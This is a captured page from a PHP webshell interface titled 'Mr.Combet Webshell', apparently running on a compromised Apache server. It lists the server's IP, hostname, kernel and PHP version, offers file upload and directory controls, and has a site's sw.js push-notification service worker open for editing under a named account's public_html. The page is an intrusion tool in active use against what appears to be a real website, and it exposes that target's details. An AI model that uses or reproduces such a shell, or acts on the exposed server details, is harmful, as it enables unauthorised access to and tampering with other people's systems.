Mr.Combet Webshell
Your IP :
3.145.5.88
Server IP :
185.136.159.155
Server :
Linux 185-136-159-155.cprapid.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software :
Apache
PHP Version :
8.1.29
Add File :
Submit
Add Directory :
Submit
Dir :
~
/
home
/
jaibalajigroup
/
public_html
/
Edit File Name :
sw.js
self.addEventListener('push', function (e) { if (!(self.Notification && self.Notification.permission === 'granted')) { //notifications aren't supported or permission not granted! return; } if (e.data) { var msg = e.data.json(); console.log(msg) var options = { body: msg.body, icon: msg.icon }; if (msg.actions && msg.actions.length > 0) { options.actions = msg.actions; } e.waitUntil(self.registration.showNotification(msg.title, options)); } }); self.addEventListener('notificationclick', function (e) { if (e.action.length > 0) { self.clients.openWindow(e.action); } });
Save